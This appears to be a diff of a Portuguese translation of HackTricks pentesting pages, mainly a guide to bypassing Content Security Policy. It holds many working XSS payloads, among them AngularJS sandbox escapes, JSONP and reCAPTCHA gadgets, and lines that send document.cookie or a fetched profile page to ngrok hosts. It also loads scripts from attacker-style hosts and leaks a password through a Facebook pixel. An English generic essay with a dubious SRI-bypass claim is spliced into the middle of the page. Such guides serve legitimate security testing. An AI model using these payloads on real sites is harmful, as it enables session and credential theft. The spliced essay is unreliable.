* **API Security Checklist**: Uma lista abrangente para garantir a segurança de APIs ([link do GitHub](https://github.com/shieldfy/API-Security-Checklist)).
|
||||
* **Filtros Logger++**: Para encontrar vulnerabilidades de API, o Logger++ oferece filtros úteis ([link do GitHub](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
|
||||
* **Lista de Endpoints de API**: Uma lista selecionada de endpoints de API potenciais para fins de teste ([gist do GitHub](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
|
||||
* **Lista de Pontos Finais de API**: Uma lista selecionada de pontos finais de API potenciais para fins de teste ([gist do GitHub](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
|
||||
|
||||
## Referências
|
||||
|
||||
* [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Tenha Acesso Hoje:
|
||||
|
|
@ -85,7 +86,7 @@ Outras formas de apoiar o HackTricks:
|
|||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,6 +1,4 @@
|
|||
# Content Security Policy (CSP) Bypass
|
||||
|
||||
## Bypass de Política de Segurança de Conteúdo (CSP)
|
||||
# Bypass de Política de Segurança de Conteúdo (CSP)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
@ -9,14 +7,14 @@
|
|||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (377).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
|
||||
|
||||
|
|
@ -31,35 +29,30 @@ Fique informado sobre os mais recentes programas de recompensas por bugs lançad
|
|||
|
||||
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
||||
|
||||
### O que é CSP
|
||||
## O que é CSP
|
||||
|
||||
A Política de Segurança de Conteúdo (CSP) é reconhecida como uma tecnologia de navegador, principalmente destinada a **proteger contra ataques como cross-site scripting (XSS)**. Funciona definindo e detalhando caminhos e fontes das quais os recursos podem ser carregados com segurança pelo navegador. Esses recursos abrangem uma variedade de elementos, como imagens, frames e JavaScript. Por exemplo, uma política pode permitir o carregamento e execução de recursos do mesmo domínio (self), incluindo recursos inline e a execução de código de string por meio de funções como `eval`, `setTimeout` ou `setInterval`.
|
||||
A Política de Segurança de Conteúdo (CSP) é reconhecida como uma tecnologia de navegador, principalmente destinada a **proteger contra ataques como scripting entre sites (XSS)**. Funciona definindo e detalhando caminhos e fontes a partir das quais os recursos podem ser carregados com segurança pelo navegador. Esses recursos abrangem uma variedade de elementos, como imagens, frames e JavaScript. Por exemplo, uma política pode permitir o carregamento e execução de recursos do mesmo domínio (self), incluindo recursos inline e a execução de código de string por meio de funções como `eval`, `setTimeout` ou `setInterval`.
|
||||
|
||||
A implementação do CSP é realizada por meio de **cabeçalhos de resposta** ou incorporando **elementos meta na página HTML**. Seguindo essa política, os navegadores aplicam proativamente essas estipulações e bloqueiam imediatamente quaisquer violações detectadas.
|
||||
|
||||
* Implementado via cabeçalho de resposta:
|
||||
|
||||
```
|
||||
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
|
||||
```
|
||||
|
||||
* Implementado via meta tag:
|
||||
|
||||
```xml
|
||||
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
|
||||
```
|
||||
|
||||
#### Cabeçalhos
|
||||
### Cabeçalhos
|
||||
|
||||
CSP pode ser aplicado ou monitorado usando estes cabeçalhos:
|
||||
|
||||
* `Content-Security-Policy`: Aplica o CSP; o navegador bloqueia quaisquer violações.
|
||||
* `Content-Security-Policy-Report-Only`: Usado para monitoramento; relata violações sem bloqueá-las. Ideal para testes em ambientes de pré-produção.
|
||||
|
||||
#### Definindo Recursos
|
||||
### Definindo Recursos
|
||||
|
||||
CSP restringe as origens para carregar conteúdo ativo e passivo, controlando aspectos como a execução de JavaScript inline e o uso de `eval()`. Um exemplo de política é:
|
||||
|
||||
```bash
|
||||
default-src 'none';
|
||||
img-src 'self';
|
||||
|
|
@ -71,8 +64,7 @@ frame-src 'self' https://ic.paypal.com https://paypal.com;
|
|||
media-src https://videos.cdn.mozilla.net;
|
||||
object-src 'none';
|
||||
```
|
||||
|
||||
#### Diretivas
|
||||
### Diretivas
|
||||
|
||||
* **script-src**: Permite fontes específicas para JavaScript, incluindo URLs, scripts inline e scripts acionados por manipuladores de eventos ou folhas de estilo XSLT.
|
||||
* **default-src**: Define uma política padrão para buscar recursos quando diretivas de busca específicas estão ausentes.
|
||||
|
|
@ -93,9 +85,9 @@ object-src 'none';
|
|||
* **report-to**: Especifica um grupo para o qual um relatório será enviado se a política for violada.
|
||||
* **worker-src**: Especifica fontes válidas para scripts de Worker, SharedWorker ou ServiceWorker.
|
||||
* **prefetch-src**: Especifica fontes válidas para recursos que serão buscados ou pré-buscados.
|
||||
* **navigate-to**: Restringe os URLs para os quais um documento pode navegar por qualquer meio (a, form, window.location, window.open, etc.)
|
||||
* **navigate-to**: Restringe os URLs para os quais um documento pode navegar por qualquer meio (a, formulário, window.location, window.open, etc.)
|
||||
|
||||
#### Fontes
|
||||
### Fontes
|
||||
|
||||
* `*`: Permite todos os URLs, exceto aqueles com os esquemas `data:`, `blob:`, `filesystem:`.
|
||||
* `'self'`: Permite o carregamento do mesmo domínio.
|
||||
|
|
@ -110,13 +102,19 @@ object-src 'none';
|
|||
<details>
|
||||
|
||||
<summary>Carregar script reutilizando nonce</summary>
|
||||
|
||||
\`\`\`html  \`\`\`
|
||||
|
||||
```html
|
||||
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
|
||||
<img src=x ng-on-error='
|
||||
doc=$event.target.ownerDocument;
|
||||
a=doc.defaultView.top.document.querySelector("[nonce]");
|
||||
b=doc.createElement("script");
|
||||
b.src="//example.com/evil.js";
|
||||
b.nonce=a.nonce; doc.body.appendChild(b)'>
|
||||
```
|
||||
</details>
|
||||
|
||||
* `'sha256-<hash>'`: Lista branca de scripts com um hash sha256 específico.
|
||||
* `'strict-dynamic'`: Permite carregar scripts de qualquer origem se tiver sido listado na lista branca por um nonce ou hash.
|
||||
* `'strict-dynamic'`: Permite carregar scripts de qualquer fonte se tiver sido listado na lista branca por um nonce ou hash.
|
||||
* `'host'`: Especifica um host específico, como `example.com`.
|
||||
* `https:`: Restringe URLs para aquelas que usam HTTPS.
|
||||
* `blob:`: Permite que recursos sejam carregados a partir de URLs de Blob (por exemplo, URLs de Blob criadas via JavaScript).
|
||||
|
|
@ -126,105 +124,88 @@ object-src 'none';
|
|||
* `'strict-origin-when-cross-origin'`: Envia URLs completos ao fazer solicitações de mesma origem, mas envia apenas a origem quando a solicitação é de origem cruzada.
|
||||
* `'unsafe-allow-redirects'`: Permite que recursos sejam carregados e redirecionem imediatamente para outro recurso. Não recomendado, pois enfraquece a segurança.
|
||||
|
||||
### Regras CSP Inseguras
|
||||
|
||||
#### 'unsafe-inline'
|
||||
## Regras CSP Inseguras
|
||||
|
||||
### 'unsafe-inline'
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
||||
```
|
||||
Working payload: `"/><script>alert(1);</script>`
|
||||
|
||||
Carga de trabalho em funcionamento: `"/><script>alert(1);</script>`
|
||||
|
||||
**self + 'unsafe-inline' via Iframes**
|
||||
#### self + 'unsafe-inline' via Iframes
|
||||
|
||||
{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %}
|
||||
[csp-bypass-self-+-unsafe-inline-with-iframes.md](csp-bypass-self-+-unsafe-inline-with-iframes.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
#### 'unsafe-eval'
|
||||
### 'unsafe-eval'
|
||||
|
||||
{% hint style="danger" %}
|
||||
Isso não está funcionando, para mais informações [**verifique isso**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
|
||||
{% endhint %}
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
||||
```
|
||||
|
||||
Payload de trabalho:
|
||||
|
||||
Carga de trabalho em funcionamento:
|
||||
```html
|
||||
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
|
||||
```
|
||||
|
||||
#### strict-dynamic
|
||||
### strict-dynamic
|
||||
|
||||
Se você de alguma forma conseguir fazer com que um **código JS permitido crie uma nova tag de script** no DOM com seu código JS, porque um script permitido está criando isso, a **nova tag de script será permitida a ser executada**.
|
||||
|
||||
#### Wildcard (\*)
|
||||
|
||||
### Wildcard (\*)
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
||||
```
|
||||
|
||||
Payload de trabalho:
|
||||
|
||||
```markup
|
||||
"/>'><script src=https://attacker-website.com/evil.js></script>
|
||||
"/>'><script src=data:text/javascript,alert(1337)></script>
|
||||
```
|
||||
|
||||
#### Falta de object-src e default-src
|
||||
### Falta de object-src e default-src
|
||||
|
||||
{% hint style="danger" %}
|
||||
**Parece que isso não está mais funcionando**
|
||||
{% endhint %}
|
||||
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self' ;
|
||||
```
|
||||
|
||||
Cargas de trabalho funcionais:
|
||||
|
||||
Cargas de trabalho em funcionamento:
|
||||
```markup
|
||||
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
|
||||
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
|
||||
<param name="AllowScriptAccess" value="always"></object>
|
||||
```
|
||||
|
||||
#### Upload de Arquivo + 'self'
|
||||
|
||||
### Upload de Arquivo + 'self'
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||
```
|
||||
|
||||
Se você pode fazer upload de um arquivo JS, você pode contornar esse CSP:
|
||||
|
||||
Payload de trabalho:
|
||||
|
||||
```markup
|
||||
"/>'><script src="/uploads/picture.png.js"></script>
|
||||
```
|
||||
No entanto, é altamente provável que o servidor esteja **validando o arquivo enviado** e só permitirá que você **envie um tipo específico de arquivo**.
|
||||
|
||||
No entanto, é altamente provável que o servidor esteja **validando o arquivo enviado** e só permitirá que você **faça upload de um tipo específico de arquivo**.
|
||||
Além disso, mesmo que você consiga enviar um **código JS dentro** de um arquivo usando uma extensão aceita pelo servidor (como: _script.png_), isso não será suficiente porque alguns servidores como o servidor apache **selecionam o tipo MIME do arquivo com base na extensão** e navegadores como o Chrome irão **rejeitar a execução de código Javascript** dentro de algo que deveria ser uma imagem. "Felizmente", existem falhas. Por exemplo, em um CTF eu aprendi que o **Apache não reconhece** a extensão _**.wave**_, portanto não a serve com um **tipo MIME como audio/\***.
|
||||
|
||||
Além disso, mesmo que você consiga fazer upload de um **código JS dentro** de um arquivo usando uma extensão aceita pelo servidor (como: _script.png_), isso não será suficiente porque alguns servidores como o servidor apache **selecionam o tipo MIME do arquivo com base na extensão** e navegadores como o Chrome irão **rejeitar a execução de código Javascript** dentro de algo que deveria ser uma imagem. "Felizmente", existem falhas. Por exemplo, em um CTF eu aprendi que o **Apache não reconhece** a extensão _**.wave**_, portanto não a serve com um **tipo MIME como audio/\***.
|
||||
A partir daqui, se você encontrar um XSS e um envio de arquivo, e conseguir encontrar uma **extensão interpretada erroneamente**, você pode tentar enviar um arquivo com essa extensão e o Conteúdo do script. Ou, se o servidor estiver verificando o formato correto do arquivo enviado, crie um poliglota ([alguns exemplos de poliglotas aqui](https://github.com/Polydet/polyglot-database)).
|
||||
|
||||
A partir daqui, se você encontrar um XSS e um upload de arquivo, e conseguir encontrar uma **extensão interpretada erroneamente**, você pode tentar fazer upload de um arquivo com essa extensão e o conteúdo do script. Ou, se o servidor estiver verificando o formato correto do arquivo enviado, crie um poliglota ([alguns exemplos de poliglotas aqui](https://github.com/Polydet/polyglot-database)).
|
||||
|
||||
#### Ação de Formulário
|
||||
### Ação de formulário
|
||||
|
||||
Se não for possível injetar JS, você ainda pode tentar exfiltrar, por exemplo, credenciais **injetando uma ação de formulário** (e talvez esperar que os gerenciadores de senhas preencham automaticamente as senhas). Você pode encontrar um [**exemplo neste relatório**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Além disso, observe que `default-src` não cobre ações de formulário.
|
||||
|
||||
#### Pontos de Extremidade de Terceiros + ('unsafe-eval')
|
||||
### Pontos de Extremidade de Terceiros + ('unsafe-eval')
|
||||
|
||||
{% hint style="warning" %}
|
||||
Para alguns dos payloads a seguir, **`unsafe-eval` nem sequer é necessário**.
|
||||
Para alguns dos payloads a seguir, **`unsafe-eval` nem é necessário**.
|
||||
{% endhint %}
|
||||
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
|
||||
```
|
||||
|
||||
Carregue uma versão vulnerável do angular e execute JS arbitrário:
|
||||
|
||||
```xml
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
|
||||
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
|
||||
|
|
@ -245,13 +226,11 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
|||
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
|
||||
>
|
||||
```
|
||||
|
||||
**Payloads usando Angular + uma biblioteca com funções que retornam o objeto `window` (**[**confira este post**](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)**):**
|
||||
#### Payloads usando Angular + uma biblioteca com funções que retornam o objeto `window` ([confira este post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
|
||||
{% hint style="info" %}
|
||||
O post mostra que você poderia **carregar** todas as **bibliotecas** de `cdn.cloudflare.com` (ou de qualquer outro repositório de bibliotecas JS permitido), executar todas as funções adicionadas de cada biblioteca e verificar **quais funções de quais bibliotecas retornam o objeto `window`**.
|
||||
{% endhint %}
|
||||
|
||||
```markup
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
|
||||
|
|
@ -275,21 +254,17 @@ O post mostra que você poderia **carregar** todas as **bibliotecas** de `cdn.cl
|
|||
{{[].erase.call().alert('xss')}}
|
||||
</div>
|
||||
```
|
||||
### XSS Angular a partir de um nome de classe:
|
||||
|
||||
### Bypassing Content Security Policy (CSP) with Angular XSS from a class name:
|
||||
|
||||
### Bypassando a Política de Segurança de Conteúdo (CSP) com XSS do Angular a partir de um nome de classe:
|
||||
|
||||
Um atacante pode explorar a vulnerabilidade de XSS no Angular injetando um código malicioso em um nome de classe. Isso pode ser feito ao definir uma classe com um nome que contenha um código JavaScript malicioso, que será executado quando a classe for renderizada no navegador.
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
</div>
|
||||
```
|
||||
|
||||
**Explorando o código JS do Google reCAPTCHA**
|
||||
#### Abusando do código JS do Google reCAPTCHA
|
||||
|
||||
De acordo com [**este relatório de CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves), você pode abusar do [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) dentro de uma CSP para executar código JS arbitrário, burlando a CSP:
|
||||
|
||||
```html
|
||||
<div
|
||||
ng-controller="CarouselController as c"
|
||||
|
|
@ -300,9 +275,7 @@ ng-init="c.init()"
|
|||
|
||||
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
|
||||
```
|
||||
|
||||
Mais [**cargas úteis deste artigo**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
|
||||
|
||||
```html
|
||||
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
|
||||
|
||||
|
|
@ -317,27 +290,21 @@ b=doc.createElement("script");
|
|||
b.src="//example.com/evil.js";
|
||||
b.nonce=a.nonce; doc.body.appendChild(b)'>
|
||||
```
|
||||
|
||||
**Abusando de www.google.com para redirecionamento aberto**
|
||||
#### Abusando do www.google.com para redirecionamento aberto
|
||||
|
||||
A seguinte URL redireciona para example.com (de [aqui](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||
|
||||
```
|
||||
https://www.google.com/amp/s/example.com/
|
||||
```
|
||||
|
||||
#### Abusando de \*.google.com/script.google.com
|
||||
Explorando \*.google.com/script.google.com
|
||||
|
||||
É possível abusar do Google Apps Script para receber informações em uma página dentro de script.google.com. Como é [feito neste relatório](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
|
||||
|
||||
#### Pontos de Extremidade de Terceiros + JSONP
|
||||
|
||||
### Pontos de Extremidade de Terceiros + JSONP
|
||||
```http
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
|
||||
Cenários como este, onde `script-src` está definido como `self` e um domínio específico que está na lista branca pode ser contornado usando JSONP. Os pontos finais JSONP permitem métodos de retorno de chamada inseguros que permitem a um atacante realizar XSS, payload de trabalho:
|
||||
|
||||
Cenários como este, onde `script-src` é definido como `self` e um domínio específico que está na lista branca pode ser contornado usando JSONP. Os endpoints JSONP permitem métodos de retorno de chamada inseguros que permitem a um atacante realizar XSS, payload de trabalho:
|
||||
```markup
|
||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||
|
|
@ -347,94 +314,94 @@ Cenários como este, onde `script-src` está definido como `self` e um domínio
|
|||
https://www.youtube.com/oembed?callback=alert;
|
||||
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
|
||||
```
|
||||
|
||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contém endpoints JSONP prontos para uso para burlar CSP de diferentes sites.**
|
||||
|
||||
A mesma vulnerabilidade ocorrerá se o **endpoint confiável contiver um Redirecionamento Aberto** porque se o endpoint inicial for confiável, os redirecionamentos também serão confiáveis.
|
||||
A mesma vulnerabilidade ocorrerá se o **endpoint confiável contiver um Redirecionamento Aberto** porque se o endpoint inicial for confiável, os redirecionamentos também são confiáveis.
|
||||
|
||||
#### Abusos de Terceiros
|
||||
### Abusos de Terceiros
|
||||
|
||||
Conforme descrito no [seguinte post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), existem muitos domínios de terceiros que podem ser permitidos em algum lugar no CSP e podem ser abusados para exfiltrar dados ou executar código JavaScript. Alguns desses terceiros são:
|
||||
|
||||
| Entidade | Domínio Permitido | Capacidades |
|
||||
| ----------------- | -------------------------------------------- | ----------- |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
||||
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
||||
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
|
||||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||
| Entidade | Domínio Permitido | Capacidades |
|
||||
| ------------------ | -------------------------------------------- | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
||||
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
||||
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
|
||||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||
|
||||
Se você encontrar algum dos domínios permitidos no CSP do seu alvo, há chances de que você possa burlar o CSP registrando-se no serviço de terceiros e, assim, exfiltrar dados para esse serviço ou executar código.
|
||||
|
||||
Por exemplo, se você encontrar o seguinte CSP:
|
||||
|
||||
```
|
||||
Content-Security-Policy: default-src 'self’ www.facebook.com;
|
||||
```
|
||||
# Bypassing Content Security Policy (CSP)
|
||||
|
||||
## Bypassing Content Security Policy (CSP)
|
||||
## Introduction
|
||||
|
||||
### Introduction
|
||||
Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a user agent is allowed to load for a specific web page. However, in some cases, CSP can be misconfigured or not implemented properly, leading to potential security vulnerabilities.
|
||||
|
||||
Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a user agent is allowed to load for a specific web page. However, misconfigurations or weaknesses in the CSP implementation can sometimes allow attackers to bypass these security controls.
|
||||
## Bypass Techniques
|
||||
|
||||
In this guide, we will explore various techniques that can be used to bypass Content Security Policy (CSP) protections.
|
||||
### 1. Inline Script Execution
|
||||
|
||||
### Table of Contents
|
||||
If a CSP allows `'unsafe-inline'` for script-src, it permits the execution of inline JavaScript code. Attackers can exploit this by injecting malicious scripts directly into the HTML code of the web page.
|
||||
|
||||
* [Bypassing CSP with Inline Scripts](https://github.com/carlospolop/hacktricks/blob/pt/pentesting-web/content-security-policy-csp-bypass/bypassing-csp-inline-scripts.md)
|
||||
* [Bypassing CSP with External Scripts](https://github.com/carlospolop/hacktricks/blob/pt/pentesting-web/content-security-policy-csp-bypass/bypassing-csp-external-scripts.md)
|
||||
* [Bypassing CSP with Inline Styles](https://github.com/carlospolop/hacktricks/blob/pt/pentesting-web/content-security-policy-csp-bypass/bypassing-csp-inline-styles.md)
|
||||
* [Bypassing CSP with External Styles](https://github.com/carlospolop/hacktricks/blob/pt/pentesting-web/content-security-policy-csp-bypass/bypassing-csp-external-styles.md)
|
||||
* [Bypassing CSP with Nonces](https://github.com/carlospolop/hacktricks/blob/pt/pentesting-web/content-security-policy-csp-bypass/bypassing-csp-nonces.md)
|
||||
* [Bypassing CSP with Trusted Types](https://github.com/carlospolop/hacktricks/blob/pt/pentesting-web/content-security-policy-csp-bypass/bypassing-csp-trusted-types.md)
|
||||
### 2. External Script Execution
|
||||
|
||||
### Conclusion
|
||||
Similarly, if a CSP allows `'unsafe-eval'` or whitelists domains that host malicious scripts in the `script-src` directive, attackers can load and execute external scripts to bypass CSP restrictions.
|
||||
|
||||
By understanding how Content Security Policy (CSP) works and the potential bypass techniques, security professionals can better assess the security posture of web applications and implement appropriate security controls to mitigate these risks.
|
||||
### 3. Data URI Scheme
|
||||
|
||||
Attackers can also use the data URI scheme to embed malicious code directly into the HTML or CSS of a web page. If the CSP policy does not restrict data URIs, this technique can be used to bypass CSP protections.
|
||||
|
||||
### 4. Subresource Integrity (SRI) Bypass
|
||||
|
||||
If a website uses Subresource Integrity (SRI) to ensure that external resources are not tampered with, attackers can bypass this protection by hosting a modified version of the resource on a different domain and loading it without SRI validation.
|
||||
|
||||
### 5. Reporting Endpoints
|
||||
|
||||
In some cases, CSP violation reports are sent to a specified endpoint. Attackers can manipulate the report-uri directive to send these reports to a controlled server, allowing them to gather information about the CSP policy and potentially find ways to bypass it.
|
||||
|
||||
## Conclusion
|
||||
|
||||
Content Security Policy is a powerful security mechanism that can help protect web applications from various types of attacks. However, it is essential to configure CSP properly and regularly audit its implementation to prevent misconfigurations that could be exploited by attackers.
|
||||
```
|
||||
Content-Security-Policy: connect-src www.facebook.com;
|
||||
```
|
||||
|
||||
Deverá ser capaz de exfiltrar dados, da mesma forma como sempre foi feito com [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Neste caso, siga estes passos gerais:
|
||||
|
||||
1. Crie uma conta de desenvolvedor no Facebook aqui.
|
||||
2. Crie um novo aplicativo "Facebook Login" e selecione "Website".
|
||||
3. Vá para "Configurações -> Básico" e obtenha seu "ID do Aplicativo".
|
||||
4. No site alvo de onde deseja exfiltrar dados, você pode exfiltrar dados diretamente usando o gadget do SDK do Facebook "fbq" através de um "customEvent" e a carga de dados.
|
||||
4. No site alvo de onde deseja exfiltrar dados, você pode exfiltrar dados diretamente usando o gadget do Facebook SDK "fbq" através de um "customEvent" e a carga de dados.
|
||||
5. Vá para o "Gerenciador de Eventos" do seu aplicativo e selecione o aplicativo que você criou (observe que o gerenciador de eventos pode ser encontrado em uma URL semelhante a esta: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
|
||||
6. Selecione a aba "Eventos de Teste" para ver os eventos sendo enviados pelo site "seu".
|
||||
|
||||
Em seguida, do lado da vítima, execute o seguinte código para inicializar o pixel de rastreamento do Facebook para apontar para o ID do aplicativo do desenvolvedor do Facebook do atacante e emitir um evento personalizado como este:
|
||||
|
||||
Em seguida, no lado da vítima, execute o seguinte código para inicializar o pixel de rastreamento do Facebook para apontar para o ID do aplicativo do desenvolvedor do Facebook do atacante e emitir um evento personalizado como este:
|
||||
```JavaScript
|
||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||
fbq('trackCustom', 'My-Custom-Event',{
|
||||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||||
});
|
||||
```
|
||||
### Bypass através de RPO (Sobrescrita de Caminho Relativo) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
Quanto aos outros sete domínios de terceiros especificados na tabela anterior, existem muitas outras maneiras de abusar deles. Consulte o [post do blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) anterior para explicações adicionais sobre outros abusos de terceiros.
|
||||
|
||||
